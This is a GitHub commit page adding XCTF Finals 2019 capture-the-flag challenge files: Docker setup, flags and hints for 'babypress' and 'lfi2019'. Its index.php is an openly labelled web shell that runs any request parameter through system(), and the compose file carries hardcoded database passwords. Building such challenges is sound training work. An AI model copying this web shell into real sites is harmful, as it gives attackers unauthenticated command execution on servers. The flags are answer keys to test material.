Skip to content

Commit dc23bf8

Browse files
styprstypr
committed
Add XCTF Finals 2019
1 parent efdf0d8 commit dc23bf8

File tree

12 files changed

+576
-0
lines changed

12 files changed

+576
-0
lines changed

‎XCTF_Finals_2019/README.md‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
## XCTF Finals 2019
2+
3+
No writeups this time. Try them for fun!
4+
5+
![Scoreboard](scoreboard.jpg)

‎XCTF_Finals_2019/babypress/README.md‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
## babypress
2+
3+
Let's dig down into the easy baby-level wordpress 0day(?) exploitation!
4+
5+
by stypr

‎XCTF_Finals_2019/babypress/babypress-11ca9e6ae371f2a7ee263bea842cde841ad3ff9c.zip‎

1.3 KB
Binary file not shown.

‎XCTF_Finals_2019/babypress/docker-compose.yml‎

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
version: '3.3'
2+
3+
services:
4+
db:
5+
image: mysql:5.7
6+
volumes:
7+
- my_data:/var/lib/mysql
8+
networks:
9+
- default
10+
restart: always
11+
environment:
12+
MYSQL_ROOT_PASSWORD: secret_password
13+
MYSQL_DATABASE: stypr
14+
MYSQL_USER: stypr
15+
MYSQL_PASSWORD: stypr
16+
17+
wordpress:
18+
image: wordpress:latest
19+
depends_on:
20+
- db
21+
ports:
22+
- "8000:80"
23+
networks:
24+
- default
25+
restart: always
26+
environment:
27+
WORDPRESS_DB_HOST: db:3306
28+
WORDPRESS_DB_USER: stypr
29+
WORDPRESS_DB_PASSWORD: stypr
30+
WORDPRESS_DB_NAME: stypr
31+
32+
backdoor:
33+
image: trafex/alpine-nginx-php7
34+
depends_on:
35+
- db
36+
- wordpress
37+
volumes:
38+
- ./flag:/flag:ro
39+
- ./index.php:/var/www/html/index.php:ro
40+
networks:
41+
- default
42+
restart: always
43+
44+
networks:
45+
default:
46+
driver: bridge
47+
ipam:
48+
driver: default
49+
config:
50+
- subnet: 13.37.137.0/24
51+
52+
volumes:
53+
my_data: {}

‎XCTF_Finals_2019/babypress/flag‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
flag{stypr}

‎XCTF_Finals_2019/babypress/index.php‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
<?php
2+
3+
$backdoor = $_REQUEST['backdoor'];
4+
if($backdoor){
5+
@system($backdoor . " 2>&1");
6+
}
7+
8+
?>
9+
<!doctype html>
10+
<html>
11+
<head>
12+
<title>stypr's secret backdoor</title>
13+
</head>
14+
<body>
15+
<form method=POST action=index.php>
16+
<input type="text" name="backdoor" value="backdoor">
17+
<input type="submit" value="backdoor()">
18+
</form>
19+
</body>
20+
</html>

‎XCTF_Finals_2019/lfi2019/README.md‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Hint: Environment

‎XCTF_Finals_2019/lfi2019/flag.php‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
<?php
2+
$flag = "FLAG{this_surely_is_a_leg1timate_f!le_1nclusion}";
3+
4+
if(stripos($_SERVER['SCRIPT_NAME'], "flag.php") !== false){
5+
die("<!-- flag.php successfully loaded. -->");
6+
}
7+
?>

0 commit comments

Comments
 (0)